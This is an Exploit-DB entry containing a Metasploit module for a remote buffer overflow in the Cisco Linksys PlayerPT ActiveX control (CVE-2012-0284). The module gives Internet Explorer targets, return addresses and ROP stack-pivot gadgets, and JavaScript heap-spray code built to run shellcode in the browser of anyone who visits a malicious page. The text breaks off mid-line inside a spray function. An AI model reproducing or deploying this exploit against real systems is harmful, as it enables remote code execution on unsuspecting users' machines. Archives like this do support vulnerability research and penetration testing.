Exploit-DB #20202
Description: Cisco Linksys PlayerPT - ActiveX Control SetSource sURL argument Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-08-03
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "9.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:classid    => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
		:method     => "SetSource",
		:rank       => NormalRanking
	})


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
				as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
				Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
				the SetSource method, when handling a specially crafted sURL argument, allows to
				trigger a stack based buffer overflow which leads to code execution under the
				context of the user visiting a malicious web page.
			},
			'Author'         =>
				[
					'Carsten Eiram', # Vuln discovery
					'juan' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-0284' ],
					[ 'BID', '54588' ],
					[ 'URL', 'http://secunia.com/secunia_research/2012-25/' ],

				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',

				},
			'Payload'        =>
				{
					'Space' => 1024,
					'DisableNops' => true,
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'SprayBlocks' => 0x185,
							'SprayOffset' => '0x0',
							'Ret' => 0x0c0c0c0c,
							'Rop' => nil,
							'RandomHeap' => false
						}
					],
					[
						'IE 7 on Windows XP SP3 / Windows Vista SP2',
						{
							'SprayBlocks' => 0x185,
							'SprayOffset' => '0x0',
							'Ret' => 0x0c0c0c0c,
							'Rop' => nil,
							'RandomHeap' => false
						}
					],
					[
						'IE 8 on Windows XP SP3',
						{
							'SprayBlocks' => 0x185,
							'SprayOffset' => '0x0',
							'Ret' => 0x77c3546b, # ret from msvcrt
							'StackPivot_1' => 0x77c3546a, # pop ebp; ret from msvcrt
							'StackPivot_2' => 0x77c35468, # mov esp,ebp; pop ebp; ret from msvcrt
							'Rop' => :msvcrt,
							'RopChainOffset' => '0x5f4',
							'RandomHeap' => false
						}
					],
					[
						'IE 8 with Java 6 on Windows XP SP3',
						{
							'SprayBlocks' => 0x185,
							'SprayOffset' => '0x0',
							'Ret' => 0x7c3424f2, # ret from msvcr71.dll
							'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
							'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
							'Rop' => :jre,
							'RopChainOffset' => '0x5f4',
							'RandomHeap' => false
						}
					],
					[
						'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
						{
							'SprayBlocks' => 0x185,
							'SprayOffset' => '0x0',
							'Ret' => 0x7c3424f2, # ret from msvcr71.dll
							'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
							'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
							'Rop' => :jre,
							'RopChainOffset' => '0x5f4',
							'RandomHeap' => false
						}
					],
					[
						'IE 9 with Java 6 on Windows 7 SP1',
						{
							'SprayBlocks' => 0x1000,
							'SprayOffset' => '0x0',
							'Ret' => 0x7c3424f2, # ret from msvcr71.dll
							'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
							'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
							'Rop' => :jre,
							'RopChainOffset' => '0x5fe',
							'RandomHeap' => true,
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 17 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class
		)

	end

	def get_easy_spray(t, js_code, js_nops)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['SprayOffset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var z=1; z < #{t['SprayBlocks']}; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end

	def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)

		spray = <<-JS

		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		var nops_90 = unescape("#{js_90_nops}");
		var rop_chain = unescape("#{js_rop}");

		while (nops.length < 0x80000) nops += nops;
		while (nops_90.length < 0x80000) nops_90 += nops_90;

		var offset = nops.substring(0, #{t['SprayOffset']});
		var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
		var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);


		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);


		heap_obj.gc();
		for (var z=1; z < #